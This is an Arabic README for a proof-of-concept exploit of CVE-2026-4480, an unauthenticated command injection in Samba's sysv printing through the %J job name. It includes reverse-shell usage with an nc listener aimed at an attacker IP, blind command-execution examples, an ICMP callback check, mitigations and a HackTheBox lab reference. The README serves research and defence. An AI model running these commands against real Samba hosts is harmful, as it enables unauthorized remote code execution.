
استغلال لإثبات المفهوم لـ CVE-2026-4480، حقن أوامر عن بعد غير مصادق عليه في نظام الطباعة في Samba عبر معلمة اسم المهمة %J. يشمل وضعي تنفيذ الأوامر: الصدفة العكسية والتنفيذ الأعمى.
%J) في Sambaهام — اقرأ هذا أولاً:
هذا المستودع وexploit.pyمُقدمون لأغراض تعليمية وبحثية فقط. لا تستخدم هذا الكود ضد أنظمة أو شبكات أو خدمات ليس لديك تصريح كتابي صريح لاستخدامها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وغير أخلاقي. باستخدام هذا الكود، فإنك توافق على الامتثال للقوانين والسياسات المؤسسية المعمول بها.
تنفيذ أوامر عن بُعد غير مصادق عليه في نظام الطباعة في Samba. عندما ينتهي تخزين مهمة طباعة، يقوم Samba بتشغيل print command المُهيأ من خلال system()، مع استبدال %s (مسار ملف التخزين المؤقت) و %J (اسم المهمة المُقدم من العميل) في السلسلة النصية. قبل الإصلاح، كان اسم المهمة يُمرر مع تحويل واحد فقط ' → _ ولا شيء آخر، لذا فإن |, ;, &, المسافات, <, > وعلامات التنصيص الخلفية تصل جميعها إلى الصدفة. وبالتالي فإن print command الذي يشير إلى %J هو مصدر حقن في الصدفة، وبما أن المستخدمين الضيوف قد يقدمون مهام طباعة، فإن المشكلة قبل المصادقة.
print command خارجي يشير إلى %J (نمط printing = sysv). printing = cups / iprint تعمل من خلال واجهة CUPS البرمجية و ليست متأثرة.sudo apt install python3-samba
print command فيها يشير إلى %J.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
# الطرفية 1: المستمع
nc -lvnp 4444
# الطرفية 2: تشغيل الاستغلال
python3 exploit.py 10.129.244.177 10.10.14.100 4444
يجب أن تحصل على صدفة كحساب خدمة الطباعة (مثل nobody).
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
نظرًا لأن التنفيذ أعمى (يتم تشغيل الأمر على الخادم ولا يُرجع شيئًا على قناة RPC)، قم بتأكيده خارج النطاق أولاً، على سبيل المثال رد اتصال ICMP تراقبه باستخدام tcpdump -ni tun0 icmp:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J'، أو احذف %J، أو انتقل إلى printing = cups.smbd التي تُشغل الصدف (sh/bash/nc/python/curl) وأسماء الملفات التي تحتوي على محارف صدفي.لقد قمت بإنشاء صندوق على HackTheBox باسم Abducted لعرض الثغرة وإعطائك مثالاً عمليًا على كيفية استغلال المهاجمين لها في بيئة غير مهيأة بشكل صحيح.
| الوسيط / الخيار | المعنى |
|---|
rhost | مضيف Samba الهدف / IP |
lhost | IP المستمع الخاص بك |
lport | منفذ المستمع الخاص بك |
-P, --printer | اسم مشاركة الطابعة للضيوف (الافتراضي: HP-Reception) |
-c, --cmd | تشغيل أمر مخصص بدلاً من الصدفة العكسية |